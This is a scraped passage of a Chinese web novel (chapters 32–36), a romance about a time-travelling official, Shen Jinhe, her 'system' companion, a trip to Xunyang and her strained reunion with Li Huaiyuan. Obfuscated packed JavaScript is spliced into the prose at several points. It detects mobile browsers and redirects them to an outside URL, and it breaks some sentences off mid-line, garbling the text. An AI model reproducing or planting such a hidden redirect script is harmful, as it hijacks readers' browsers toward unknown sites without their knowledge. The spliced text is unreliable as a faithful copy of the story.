“我看见李怀远的马车了。” 沈今禾一僵,蹲着没动,直到车轮声逐渐远去,才听见系统道:“好了,走远了。” 她点点头,又听他说:“你往后…就这么与他不复相见了?” “不然呢,凑上去求杀么?” 系统抿了抿嘴,看见荷华这时从另一头走过来,想说的话就止住没说了。 “你们在聊什么,怎么好像兴致不高?” 沈今禾语气稀松平常:“刚才看见世子的马车出城去了,我们俩在打赌他去了哪里。” 系统狐疑地看了她一眼,心想平日里对李怀远都是闭口不谈,今天这是怎么了,别人不提,她反倒自己先提起来。 “世子去浔阳了。”荷华边在采购单子上划掉一项,边道:“他每年都回浔阳过年节的,浔阳距上京百余里路,赶在岁除之前正好到王府。” 马车经过闹市,缓慢地前行。 李怀远嘴上说着不想再见沈今禾的话,手上却控制不住地撩开帘子一角,眼神略过熙熙攘攘的行人。他蓦地看见那个狼心狗肺的人正蹲在角落,抬头与一个七八岁的孩童说着什么,瞧着心情不错的样子。 忽然四目相对,李怀远心里一揪,收回了视线。 他从怀里摸出一块旧了的祈福牌,用力按了按上面刻着的“望世子安”几个大字。 倏而,只听“咔嚓”一声,木牌应声折断成两半,被人从车上扔了下来,摔在无人的巷尾。 过了不知多久,一只纤长白皙的手将其捡起,拂去上面的灰尘,收在衣袖之中。 沈今禾望着马车消失的方向,心里说不出是什么滋味。 也许这才是真正的分别吧,没有仪式,没有拱手互道“后会有期”,就这样在一个平凡的日子里,于人声鼎沸处互相看了对方一眼,然后就再也不见了。 …… 33.第 33 章 岁除那日,府上张灯结彩。 荷华摆了个四方桌在门口,给街坊们写福字,画桃符,纳对联,一上午竟里里外外围了三层人,管看懂看不懂的,总之都对她的笔法赞不绝口。 系统和老管家做了七盏孔明灯,一人一个,飞不飞得上天不知道,但大家嘴角都乐开了花。 沈今禾撸起袖子在厨房里帮厨,厨娘说她做的菜色十分稀奇,一个都没见过。 暮色降临,檐下已经积了一层薄雪。 厨娘和负责起居的小丫头是一对母女,原是故太子府上的下等粗使,后来被几番转赐,才来到了沈今禾这里,老管家两个儿子都死在了战场上,因无人奉养出来找活干,车夫是个瘸了腿的大哥,至今孑然一身。系统和荷华就更不用说了。 这一屋子的人都一样,没有家,也没有什么贵贱之分,大家伙围坐在厅堂里一起吃年夜饭。 笙歌叠奏,万巷灯火通明,爆竹声中一岁除。 烟花在空中流光溢彩,沈今禾想,普通人这一生能左右的东西很少,比如小壶姐姐的命,比如先生的仕途之路,比如他们都离她而去时她的无能为力。 普通人能做的,就是在命运的捉弄和权贵的摆布面前,不断寻找新的自己喜欢且擅长的方式,去闯,去活,接受故人离开,也接受新的家人到来,用一件件具象的幸福小事,一次次填满空洞又充满不确定性的人间。 屋外灯火辉煌,炉上热食滚沸。 那些年幼时期的遭遇,仿佛终于在这一刻得到释怀。 …… 春序正中,万物复苏,一抹浅淡的嫩绿浮上柳丝。 一辆马车穿过城门,缓缓向西而行。行至京畿林外时,远远地,车夫看见道路尽头有一个蓝衣公子挥着手在等待,“吁”地一声勒住缰绳,停了下来。 纤纤素手撩开车帘,沈今禾探出半个身子一看,见对面之人着一身宝蓝色刻丝锦袍,头上顶着个裘帽,手上还拿着一把玉骨扇。 不是叶绥又是谁。 “你怎么来了?”沈今禾有些惊讶。 “自然是要与你们一同出行喽,看,我行囊都准备好了。”叶绥边说边指了指一旁堆满杂货的马车。 她这是要去办公差,又不是游山玩水,按理说这种受累的事情叶绥一贯都是避之不及的,今日是怎么了,上杆子地求吃苦,可以说是没苦硬吃的典范。 沈今禾狐疑地看着他。 “好吧,是我爹硬要我来的,他说我在府上闲着也是闲着,还不如出来跟着你长长见识。” 沈今禾一回忆,好像还真有这么件事。 记得临行前,翰林大学士语重心长地拍了拍她的肩膀,嘱咐道:“陛下亲自宣你入宫领下这差事,委你重任,想必对你十分赏识,你可千万不能辜负了这片浩荡皇恩啊。” 虽然她不知道去接手前翰林学士的书稿算什么重任,但领导画的饼不能不吃,于是连连称是。 大学士又道:“今禾啊,得了空也帮衬老夫提点提点家中犬子,你才高望雅,又和犬子是同龄人,他听得进去你的教诲。” 沈今禾闻言又是一阵“哪里哪里”地自谦,叶之韫这才放她走了。 此刻,她看着叶绥自来熟地跟几个随行禁军一一打过招呼,又让小厮给自己铺上软茵,在车壁上垫了金丝软枕,这才反应上来,那句“提点提点”原是这个意思。 叶绥却没想这么多,完全把这次出行看成了公费踏青,拉着一马车的吃穿用度不说,还在上路前,让人从城里买了一堆热气腾腾的烤地瓜,分给众人吃。 “这么多东西,当真用得完吗?”沈今禾看着那一马车快把棚顶撑爆了的大箱子小盒子,十分不解。 “我们此行不是去浔阳嘛,这是我爹让我捎去给凌安王和王妃的贺礼。” “什么贺礼?” “据说是王妃在给世子选世子妃呢,我爹说成了就当成贺礼送,没成就当拜访礼了。”叶绥见他那马车已装置停当,边往沈今禾的马车上走,边道: “不然你以为小叔为何过了上元节还不回上京城,是因为被王妃扣住了,听我娘说,他不相够二十个姑娘不准走呢,哈哈哈哈哈。” 正幸灾乐祸地笑着,突然想起眼前这位之前和小叔有点说不清道不明那关系,遂止了笑,悄悄背过身吐了吐舌头,叮嘱自己以后说话前定要三思。 沈今禾心道,难怪年后当值时听同僚说,世子不知出了何事,竟整整告假了一个月。 原来是回家相亲去了。 当日她听到世子告假的消息也具体说不上是什么滋味,好像在意料之外,又好像在意料之中,不过还没等她想明白,永昌帝突然一道圣旨降下,让她外访前任翰林学士柳在德的老家。 柳在德致仕后回了浔阳老家,虔心著书,编史撰记,只是还没修撰完就驾鹤西去了,家族后辈们无人堪此大任,于是陛下令翰林院继续完成先生的遗作。 沈今禾乍一接到这个任务,一时间很难区分陛下究竟是真的赏识她,还是只是出于私心,想继续看她和李怀远的热闹而已。 毕竟外出的地点太过特殊,很难让人不往那方面想。 况且永昌帝还专门交代她将一封信转交给李怀远,仿佛生怕她在浔阳碰不上李怀远似的。 圣意不能忤逆,李怀远那句“别再让我看到你”更不能忤逆,沈今禾正拿着这封烫手山芋坐在马车上正发着愁,偏巧不巧,叶绥就自己找上门来了。 她眉梢一喜,这可真是个代她送信的绝佳人选啊。至少比荷华要合适不少…… “荷华!你也来啦?” 此刻,叶绥捧着个小暖炉,踩着轿凳,手刚一搭上车帘,便看见马车一侧坐着个谦谦君子似的人儿,正埋头看一本他没听过的什么文集。 荷华见有人上来,合上书微微颔首:“叶小公子。” 叶绥边落座边想,荷华如此端方又好学之人,如果能投胎成他爹的儿子,那他爹指定每日都乐得带人去参观祖坟,顺便丈量一下坟头的青烟,是否比秦尚书家的高。 正想着,忽然发现主位上四仰八叉地躺着个小姑娘,正毫不矜持地呼呼大睡,仔细一看,这人跟沈今禾家那位小侄子还有几分神似。 下意识便觉得这又是沈今禾从哪儿捡回来的孩子,遂道:“谁家这么狠心啊,连这么粉雕玉琢的闺女都舍得丢。” 叶绥的声音和制造的响动都不小,系统迷迷糊糊地被吵醒了,微微皱着眉头,脸色十分不好看。 它之前作为一个没有实体的系统,每日只需要飘在主角身边时不时发布个任务,大部分时间都在睡觉。所以现在变成人,也还是无法改变之前的作息习惯,如果一天不能睡够十二个小时,那它身上将会散发着一股强烈的怨气。 “怎么又是你啊。”系统睡眼惺忪地看了一眼叶绥,有些不悦。 “又是我?什么意思,你见过我吗?”叶绥回忆了一番,这么可爱的小姑娘,他应该是不曾见过的。 系统一骨碌坐起来,这才恍恍惚惚地发现自己今日是小女孩的身体。但又不想在叶绥面前落了下风,便抬着下巴道: “上京谁不知道叶小公子,万花丛中过,驭女无数,还能做到片叶不沾身。” “咳咳。”叶绥尴尬道:“这位小童,你恐怕还不认识那个字,那念阅,不念驭。” “没错啊,外面传的就是驭,驾驭的驭……大概是说你经常被翻红浪,夜赴巫山什么的吧。” 荷华一口茶水还没喝进去,“噗”一下就呛了出来,难得地失了礼数,捂着胸口一阵咳嗽。 “你、你别乱说哦。”叶绥对女孩子向来温润,哪怕面对的是垂髫小儿,也没有发怒训斥几句,只是微微涨红了脸道: “你还是个小孩子,不可以胡乱听大人说这些污耳之事。” “食色性也,这不是很正常吗?哪里污耳了。”系统边吃东西,边回想那些年在霸总文里看过的干柴们和烈火们,深感叶绥也太小题大作了些。 而封建礼教思想教育出来的叶绥又怎么能知道,眼前这个软软糯糯的小姑娘,实际上比他认为的,还要更“污耳”一些。 遂一脸惊愕地盯着她道:“你、你才多大啊?!也就五六岁吧,竟然说出这样的话……” “八岁。”系统不满道,都怪沈今禾当时给它捏的这个脸,又肉又圆,太不显成熟了! “呃,真的只有八岁吗?我怎么感觉在这种事情上,你成熟得就像是一个八十八岁的老头。” “今禾,你到底在哪里捡的她?” 沈今禾正满腹心事地趴在车窗沿上,对他们俩无聊的对话兴趣平平,闻言道:“不是捡的,她就是我那个侄子变的,你听过善财童子吗?《博物志》里雌雄同体的那个,没错就是她。” “今禾。”叶绥用力抿了抿嘴:“我只是单纯,不是蠢。” 沈今禾转头看了眼系统,用眼神道:看吧,我就说,就算实话实说他们也不会相信。 系统完全没接收到沈今禾的眼神,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……”真不愧是沈今禾,编瞎话的水平简直一流,系统默默竖起了大拇指。 “你提的那个程序紊乱的工单怎么样了?”沈今禾心道,虽说荷华和叶绥勉强信了这番鬼话,但这毕竟不是长久之计,得赶紧让它固定成一个性别。 “总系统说快审批完了,让我再等几天。” 正说着,倏而一辆马车疾驰而过,击起旁边水坑里的水花惊着了他们的马儿,马车猛地一斜,差点栽到树桩上。 众人皆惊呼一声,头撞在了车壁上。 沈今禾还没反应上来发生了什么,就见叶绥和系统已经冲出了车外,一左一右站在车辕上,双手叉腰大喊: “喂!前面的!给小爷停下。” “有没有礼貌啊!” “就是!懂不懂规矩!” 嚷嚷了一阵,前面那镶金刻玉的马车还真停了下来。 里面一只青葱玉手掀开车帘,露出小半张美艳绝尘的脸,朝后面骑马的护卫说了几句什么,那护卫调转马头,提着剑朝着他们的方向就来了。 系统原本只想骂两句解解气,谁知骂着骂着真把人骂回来了,登时大叫一声钻进了车厢里,裹着小褥子发抖。 全然忘了他们其实还有禁军保护。 荷华轻轻拍着她的背安慰了几句,而沈今禾只想闭着眼装死,她究竟为什么要脑子一抽,带这两个货一起办差。 再看叶小公子,依旧保持着双手叉腰的姿势怒视前方。笑话,上京城除了他爹跟李怀远,他怕过谁啊。别以为他对姑娘们礼遇有加,就对那驾车的马夫和那匹癫狂的马也没有意见。 所以直到那名侍卫抱拳替主人家致歉,并邀请他去前面马车一叙时,叶绥还有点没反应上来。 约莫一刻钟后。 叶绥才抱着个大果篮和食盒,乐颠乐颠从前面马车上回来了。 “他们没把你怎么样吧?”系统虽然有点烦他,但一看他略显不正常的神情,不免有些担忧。 叶绥傻笑道:“嘿嘿嘿,她好美。” “女的啊!” “嘿嘿嘿,她好美。” “谁啊?你认识吗?” “嘿……” 还没“嘿”完,系统便十分没耐心地在叶绥头上拍了一下。 “好好说话。” 叶绥回过神来,道:“不认识。她说她是秋弥国大司空的嫡女,慕容宛,这些吃食是给我们赔罪的。” “什么!”系统和沈今禾同时脸色一变,慕容宛?这不是书里的女二吗! 34.第 34 章 这些日子发生了太多事,沈今禾都快忘了自己是穿到一本书里。 她托着下颌回忆起书中的描述…… 这个女二慕容宛的爹,最一开始在众皇子中最看重男主,料定他将来必有大为,故而有意让慕容宛接近男主,好跟他产生感情。可惜狗血文的女二向来都是坏心肝的,她因为嫉妒而屡次陷害女主,三皇子,也就是本书男主自然不能容她。 大司空一看这怎么行,这将来要是让他继承皇位,那他家还能有活头吗? 于是马不停蹄换了阵营,开始投靠三皇子的死对头。女二爱而不得各种作妖,男女主各个击破,不过最后的结局闭着眼都能想到,女二被男女主的真挚感情打动,放下过往,回头是岸。 这本书也不例外,最后女二洗白,和深爱自己的小侯爷一起远走高飞了。 奇怪的是,她为什么会突然出现在大郅的国土上? 系统看向醉晕晕的叶绥,白眼道:“别想了,她已经嫁人了。” “你怎么知道?” “秋弥国三皇子登基称帝后,原本权倾半朝的大司空见大势已去,告老还乡,其女慕容宛嫁给了没什么权势的小侯爷,你作为大郅子民,这种邻国大事好歹也关心一下吧。” “……” 叶绥抓狂,这孩子不会是传说中的什么童姥吧。 “你确定方才马车上只有她一人?”沈今禾问道。 叶绥想了想道:“一行七八人吧,四名侍卫,一个马夫,两个侍女,至于主人应该只有慕容宛吧,你问这个做什么?难道此人是个骗子?” “那倒不至于。”沈今禾摇摇头,他们的马车是官车,后头还跟着禁军,哪个骗子会不长眼到这种地步。 只是她总觉得哪里怪怪的。 叶绥心大,拿出食盒和果篮往矮几上一方,正打算用银针试过毒就分给众人吃。 岂料刚一打开食盒,沈今禾就疾声制止住了他的动作。 “别碰!” “怎、怎么了吗?”气氛突然诡异了起来,叶绥静悄悄地盯着沈今禾,等她开口。 慕容宛是秋弥国人,为什么食盒里装的却是蜜炙鸠子、芭蕉干、七巧凉糕……这些食物,无一例外,全部都是永州独有的庖制手法。 “她方才与你交谈时,有没有提到自己去过永州?” “没去过吧。永州离此地十万八千里远,她好像只是因什么事去了趟上京。” 一直安静的荷华思忖道:“没准是年节时陪同小侯爷进京入宫拜谒的,秋弥国新帝登基,其余参与夺嫡的皇子皆被诛杀,没有合适的人选朝拜,无奈派个侯爷过来倒是也合礼法。” 大郅国在中原内占地最广,实力最强,故而一到年节和春日宴,周边其余小国都会来大郅朝贺,秋弥国自然也不例外。 “很有可能哦。”叶绥点了点头,随后又不解道:“那为什么小侯爷不在马车上?难道他自己先回去了?” 荷华摇了摇头:“不知道。” 众人一起将目光投向了沈今禾,可沈今禾这会儿哪还有心思管那个什么小侯爷,满脑子都是那盘扎眼的永州吃食。 系统自是知道,一旦碰上和“永州”二字有关的,沈今禾总是会格外警惕。 于是附在她耳边小声道:“你也别想太多,说不定她真的闲着没事去永州游玩了一趟,顺便带了点特产,又说不定是她幼时去过永州,十分怀念当地的吃食,专门让人……” “对!”沈今禾眼眸一亮,“你检索一下女二以前有没有离开过秋弥国?我总觉得这事儿不简单。” 如今系统虽然变成了人的模样,屏幕不再内置在他体内,但他那个储存和运载量很大的系统大脑还是存在的,只不过以前的自动运行现在变成了需要手动点击。 系统从怀里掏出透明屏幕,还好此时已经到了客栈,叶绥和荷华都下了马车。 否则他们要是看见一个小姑娘神色紧张地朝着空气一顿猛戳,一定会觉得闹鬼了。 “天哪!”系统惊呼:“还真被你说中了。你看这一段……” 关于女二慕容宛是否去过永州,书中没有明说,但作者在描写女二的性情阴戾时提过一句,说她在幼时曾被人贩子拐卖过,两三年前才被大司空找到接回府中。 看到这里,沈今禾有些慌了:“我怎么有种十分不妙的预感……” 系统揪着她的小辫子,圆圆的眼睛里装满了惊恐:“你别吓我啊……我现在只是个普通人,出了事会死的。” 随即又想到了什么,一把抓住沈今禾的袖口,牙关止不住地打颤:“你该不会是猜测这个人……是你姐姐吧?” “没准就是。”沈今禾点头。 “真的?!” “但不是蒋菁媱。”沈今禾眸底一暗,道:“有可能是永州那位。” 尽管她很不愿意承认这个人也是自己的姐姐,但单从这一世的血缘来说,永州田豫的嫡幼女,的确和她同宗同族。 “什么?!” “你还记不记得去年初秋时,叶绥在京郊的那个流水宴?席间有一个叫春桃的姑娘……” “记得。”系统点头:“她当时说,永州知府田豫一家两年前被判流放……等等,你是说,春桃姑娘她们当时说的那些都是真的?” 系统回忆起当时那群人说的话…… “田豫的嫡幼女在流放路上逃了,逃到了西南那边与秋弥国接壤的边镇上,据说被个贵人看上,领回秋弥国去嘞!” 原来这个“看上”,竟是认女儿的意思? “还有,去年李怀远奉旨送秋弥国三皇子出城时,你记不记得…三皇子看了我一眼,说我生得十分眼熟,好像在哪里见过……当时以为是打趣的话,现在想想,会不会是因为我和慕容宛长得有些像,所以让他产生了错觉?” 毕竟她们都是田豫之女。 “嘶——”系统倒吸一口凉气,全然忘了自己这会儿还是个小姑娘,很不顾及形象抓了几下头发:“啊我疯了,我疯了,那她给我们送食盒,到底是有意还是无意啊?” 沈今禾皱眉拍掉她乱抓头发的手,抓散了一会儿还得给她重新束发,十分麻烦。 “如果真的是她……那就说明她在上京城见到过我。可毕竟过了十几年,我的容貌发生了变化,她不敢贸然指认翰林院的沈编修,就是她父亲和那个良馀贱籍所生的女儿,所以送吃食,应该是在试探我。” “真是C了!”系统久违地又说了脏话,“她还想干嘛!揭发你?幼时害你害得还不够吗?” 沈今禾摇头,她其实也不明白,这个田府的嫡幼女为何对自己的敌意这么大。 其他嫡子嫡女也只是闲来无事时,为了打发时间欺负欺负她而已,毕竟她的那个娘,既没有威胁到主母的位置,也从没在田豫面前吹过枕头风,甚至可以说都没太出现过。 难道是因为那个女人是良馀贱籍,有辱田家门楣,那嫡幼女就对自己恨之入骨? 田家要真是什么清流世家,这个解释倒也说得过去,可问题是,田豫他自己也竟干些败坏家风的事,名声早就臭遍十里,倒也实在怪不到沈今禾头上。 况且当初田豫根本就是个不学无术的纨绔,又不是大郅朝官,科举也无望,即使纳了良馀贱籍为妾也并不违反大郅律例。所以到底是什么原因,让那个嫡幼女如此恨她? 思来想去,沈今禾只能把她归为安乐一类的人,大抵就是心里扭曲,做事不论因果的那种脑残,主打的就是一个损人不利己。 “你想好怎么办了没?” 沈今禾靠在车壁上闭了闭眼,十分心累:“没准是我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那日一早,叶绥兴冲冲与荷华去了凌安王府。 沈今禾想着李怀远恐怕不愿见她,她自己也不想在这段无望的感情中多做纠缠,便让叶绥将陛下的信一同捎了去。 陛下说此信以旧友身份提笔,不算圣旨,故不用按规制来办。因此她让叶绥代为转交也算合适。 他们走后,系统还在呼呼大睡,沈今禾便一个人在驿站用了早膳,而后拿着拜帖去了柳府。 前翰林大学士的嫡子外放做官,常年不在家,大郅没有守孝三年一说,故而料理完家父身后事,柳大人又回到了任上。 家中一应事务暂由其嫡孙柳南钦打理。此人年仅二十二岁,却又治家之才,将一族人事、田产、商铺都打理得井井有条。 沈今禾幼年曾受皇商和他那个脑子有毛病的儿子影响,对富商多多少少有些抵触心理。因此在见到柳南钦的第一面时,她还误以为此人只是府上某个颇有文人风骨的门客。 眉眼温和,举止儒雅,待人宽宥,他浑身上下似乎找不到一丝商贾的铜腥。 这于沈今禾来说可谓是大大松了一口气,总算是不用虚与委蛇,被人为难,可以虔心地做事,能极大提高工作效率。 只不过这种庆幸只持续了短短半日,就被一个不速之客生生给戳破了。 当时她正与柳南钦在他祖父书房整理生前所著,提到瞿广这个人时,沈今禾蓦地想起来,驸马的书稿中也为此人写过传,便详细询问了柳南钦,他祖父当年在为瞿广这段生平作注时,是如何获取这些详实的史料的。 两人正聊得十分投机。 这时,外面突然有人来报:“公子,世子来了。” 35.第 35 章 柳府中有一处视野开阔的水榭,隔着碧水与书房遥遥相望。李怀远正负手站着,看远处那抹熟悉的身影,正同身旁之人凑做一堆,有说有笑。 前日他从浔阳驿丞那里得知,陛下派了翰林院的沈编修来接手柳老先生身前著述一事。当时他自己恐怕都没意识到,那皱了许多日的眉头倏而就舒展开来了。 许是心里一宽,连话都多了几分,害得凌安王妃铆足了劲地问他有什么高兴事儿,李怀远这才察觉到,自己竟然只是因为沈今禾要来,就胡乱地喜悦了一通。 压下这股跃跃欲试的悸动,李怀远暗恨自己不争气。 人家之前对他又骗又哄,踩着他的肩膀往上爬,他还惦记着她做什么。俗话说百步情动,他傻傻地向前迈了九十九步,捧出一颗真心给人看,结果就剩那么一步,人家也不肯朝他走,还把他的心毫不在意地摔在地上。 现在听到那人的消息,自己竟还想着往跟前凑,真是一点记性都不长。 思及此,李怀远暗暗发誓此番绝不会见她,昨日她下榻城内驿馆,他一天都没出门。 直到今日一早,聒噪的叶绥叽叽喳喳将他从睡梦中吵醒,给了他一封信,说是陛下让人捎来的。 李怀远边拆信边听叶绥说道:“今禾因为有公事要办,此信就让我代为转交了。” 又道:“哦对了,她还让我跟你致一声歉,说是公务繁忙,此行就不来王府叨扰了。” 李怀远听罢,只觉得体内有什么东西似在翻江倒海,还没找到宣泄口,就见信上笔走龙蛇,大大地写着几个字: 不用谢。 这下气更是不打一处来。陛下制造了机会让她来,她都不来,可想而知是有多么不想见到他。 这个白眼狼,不想见他是吧,那他还就非不叫她如愿! 说着便给柳府下了拜帖,换了身衣袍就出门了。 此时正在亭中招待叶绥的王妃,猛然看见儿子打扮得花枝招展地往外走,心道真是活见鬼了,忙放下糕点问:“小叶子,他这是怎么了?” 叶绥顺着王妃的视线看过去,一脸懵怔:“不知道,方才我去他院里时还好好的啊,怎么一眨眼的功夫就跟换了个人似的……” 水波之上云雾缭绕,没有风,也没出太阳。 李怀远起初没有令人立即禀报柳南钦,嘴上给小厮说着不急,莫要扰了你家公子正务,实际上是在等自己冷静下来。 没准在此处吹吹冷风,就能发现沈今禾也没什么特别之处,普普通通,与旁人别无两样。 谁知风没吹着,倒是让他看见了沈今禾认真做事的模样。 她目光如炬,一手执笔,一手整理,那单薄的身体里仿佛潜藏着巨大力量,李怀远忽然就想,也许即使没有挡箭一事,即使那个骗子没有说过倾慕于他…… 他也会不自觉地被她吸引吧。 她博闻广记,在海棠花树下与自己侃侃而谈,大逆不道疯子似的与庄夫子辩道,敢夜闯寻芳阁,盗取崔应祁手中的谋逆者名单,冬游护城河为相王报信……明明在掖庭磋磨了十多年,却依然不改自己的鸿鹄志向。 往事历历在目,李怀远一边为自己那颗控制不住的心开脱,一边十分不友善地看向正在走来的柳南钦,只觉得他像只开了屏的孔雀,在极力地吸引沈今禾的注意。 龌龊卑劣的男人……李怀远默默地想。 柳南钦见眼前之人一张俊脸耷拉老长,百思不得其解,他认识这位十多年了,向来只有他把别人挤兑得哑口无言的时候,何时见过他如此生闷气的样子了。 “世子这是……” 李怀远不语,定定盯着他身后之人。柳南钦这才意识到自己失礼了,双掌一击,连忙道:“对了,这位是翰林院的沈编修。” 又对沈今禾笑道:“沈编修,这位是在下的一位故交。” 沈今禾眼观鼻鼻观心地站好,正要行礼,就听李怀远不悦道:“什么叫做你的故交?我是没有自己的名字和官职吗?” 柳南钦摸摸后脑勺,虽不解,却还是笑着解释:“不是你自己说过,不要总是告知别人你的身份,尤其是一些无关紧要的、见过一面就再也不会相见的人……” 被“无关紧要”四个字噎住,李怀远兀地意识到,以他们俩现在的关系,好像的确是当得起“无关紧要”这几个字。 于是面色更不虞了。 沈今禾抬眼看向对面锦衣华服之人,一个多月未见,他面上清减了不少,人也有些恹,可即便如此,却依旧身姿挺拔,通身矜傲。 方才隔着云雾远远望着,只觉得湖对岸那人如天上谪仙,芝兰玉树,岩岩若松。沈今禾不禁想起那句,金风玉露一相逢,便胜却人间无数。[1] 罢了,既然躲不过,不如大大方方的相遇。 今日沈今禾穿着官服,自然是要行揖礼,便托起两掌举过胸前,端端正正道:“下官见过世子。” 闻言,那头正在争执的两人皆是一顿,柳南钦似是没料到这位七品官员竟见过世子真容,略微疑惑过后,便开始打趣。 “亏我还替你藏着,没成想你们俩竟是旧相识。” 这一声“旧相识”又歪打正着地捋顺了李怀远的毛,只见他淡淡“嗯”了一声,接过小厮奉上的热茶,抿了一口。 柳南钦邀请沈今禾一同入座,边亲自替她斟茶,边道:“沈编修用过午膳可在府中小憩片刻,午后在下再同你细说瞿广将军的旧事。” 李怀远没忍住道:“你很闲吗?你那十八家铺子连同田地里都很闲吗?” “……”吃炸药了? 略感疑惑之后,柳南钦一转眼珠,立刻就明白了过来,眯着眼笑:“俗话说,有朋自远方来不亦乐乎,沈编修从上京而来,我自然是要尽地主之谊盛情款待一番,此乃我柳家之家风。” 嗤了一声,李怀远道:“上京离这里不过百余里路,既不拔山又不涉水,快马不歇两日可达,算哪门子的远方?” 柳南钦:“我……” “再说沈编修是奉旨来办差的,不是来给你当朋友的。” “你……” “何况柳家的家风是教你如何接待君子,不是教你撩拨姑娘。” “……” 再忍下去只怕是一身的修为都要散了,柳南钦终于怒了:“我说你今日是不是吃炮仗了,故意来找我的晦气。” “你想多了。”李怀远面色如常地端起茶来品。 “那你是来干嘛的?!” “许久未见,来看看你过得好不好。” “……”不是前几日刚见过吗? 听着这两人你一眼我一语地互噎,沈今禾只觉得好生聒噪,原本因忙碌了一上午而晕胀脑袋此时更晕了。为了防止被吵死,她只能生硬地转了个话题。 “听闻浔阳瑞楼里的五味酒酱蟹最是一绝,今日叨扰柳公子半晌,午膳不如由我做东……” 话音未落,柳南钦连忙起身,“万万不可,这如何使得,怎么能让沈编修破费呢。” 说着做了个“请”的姿势,“既然沈编修喜欢,在下哪有不奉陪之礼,吃了蟹,我们还可以乘车到城外圭峰,那里有一处寺院,最适合看落日暮霭,不知沈编修意下如何?” 沈今禾嘴角一抽,不知道是不是自己的错觉,总觉得之前柳公子身上那股不存在的商贾气息又出来了……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456738|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 哪晓得柳南钦此举完全是故意的。 他自小游走于官场和商市之间,见过多少形形色色的人,惯会洞察人心,此刻见李怀远和沈今禾眼神躲躲闪闪,就差把“我们俩之间有事”刻在脑门上了。他要是再看不出此二人关系非同寻常,那也就不要再在浔阳混了。 故而一边与沈今禾搭话,一边注意身旁那位的反应。 李怀远被沈今禾忽视本来就窝了一肚子的火气,又猝然听闻两人还要去看圭峰暮霭,心气就更难平复了。 明明一开始,在世子府的书房,是他们俩先约好了要一起来看浔阳三景的。这才过了多久,她就已经勾搭上别人了。 曲径通幽,柳南钦走在前面带路,李怀远故意落后一步,挨着沈今禾咬牙切齿地低语:“你别忘了,你现在身上还穿着官服。” 沈今禾闻言抬头,不解道:“穿着官服怎么了……” “就不能吃蟹了吗?” 大郅律例好像没有这一项规定吧。 李怀远一本正经道:“穿官服时禁止勾引男人!” “我、我……”沈今禾耳根“腾”一下就红了,也顾不得什么礼数,直接就问:“我哪里勾引别人了?世子说话要讲真凭实据。” “咳,看不出来本世子只是好心提醒你吗?”李怀远背着手,一副过来人的姿态: “自古官场凶险,既然着官服在外,一言一行自当小心谨慎,否则跟什么不三不四的男人出去,被人瞧见什么逾矩之举,再让那些蛇鼠小人参上一本,得不偿失。” “……” 沈今禾这下听懂了,心道,你直说了别去圭峰看暮霭便是。 柳南钦走在前头憋笑憋得十分难受,心想自己今日可真是开了天眼了,曾几番见过李怀远如此行事,简直跟脑子缺了根弦似的。 几人各怀心事地走到柳府门口,马车早已备好。 就在这时,从巷口迎面走来一个黑衣少年,穿着单薄,背上还背了把剑,沈今禾越看越眼熟,猛地想起什么,一不留神就把心里话给说了出来。 “漂亮小面首?!” 那少年“噌”一下红了整张脸,还没来得及说什么,就见柳南钦皱着眉头道: “这阵子又跑到哪里鬼混去了?” 少年听罢十分不满:“哥!说了很多遍我那不是鬼混,是闯荡江湖,惩恶扬善!” “我看你就是不长记性,下次再被人掳走就老实了。” “你!”那少年不服气地瞪了柳南钦一眼,偏过头道:“算了,说了你也不懂,回去补觉了。” 说着便扬长而去。 沈今禾简直目瞪口呆,原来当初李怀远从安乐手中救下的那个漂亮小面首,竟然是前任翰林大学士的孙子!这个世界还真是出奇的小。 不过话说回来,以安乐当初在上京城的地位,李怀远还能冒着得罪她的风险救下小面首,就足以说明柳南钦口中那句“故交”的确是够分量的。 所以李怀远今日来柳府,极有可能就是单纯来找柳南钦,而不是故意来找自己的麻烦……沉思片刻,沈今禾这才放下戒备,松了口气。 还好柳南钦与他相识,就算他想发难,也会看在故交的面子上忍一忍吧,毕竟沈今禾如今是在柳府行事。 柳南钦见其余二人都杵着不动,看够了热闹,自然还是要帮自家好友一把,遂道: “世子日理万机,想必尚未用过午膳,不知可否赏个脸,同柳某与沈编修一起……” “说人话。” “吃了没,没吃大家一起去吃。” “行。”说罢李怀远也没客气,径直上了马车。 “……” 36.第 36 章 瑞楼位于闹市之中,是浔阳城最大的酒楼。每日午时,往来吃客络绎不绝,大堂雅间座无虚席。 沈今禾生怕某条律例真的规定了穿官服不能吃蟹,遂先回驿馆换了身常服,这才来了瑞楼。此刻往里面看了一眼,担忧道:“要是世子被人认出来,是不是不大好?” “放心。”柳南钦接道:“他这些年大多时候都在上京,浔阳很少有人认识他。” 他一看就是这里的常客,刚一跨进门槛,就有跑堂的店小二上来殷切地问候,随即又给他们安排了二楼窗边的雅座。 几人入座没一阵,隔壁众人的高谈声就不自觉地飘来了桌子这边。 “你们是没见着,那姑娘美得跟天仙儿似的!” “谁家姑娘啊?” 柳南钦点完菜,屁股还没暖热呼呢,一听“天仙”两个字,又急忙起了身三步并作两步地走到那人跟前,没什么正经地笑道: “谁家姑娘这么好命,能让你薛老板如此夸赞,不如说出来让柳某也见识见识?” “哎呦,这不是柳公子嘛。”那人喝得醉醺醺地,还不忘恭维道:“什么风把您给吹来了,见笑见笑。” 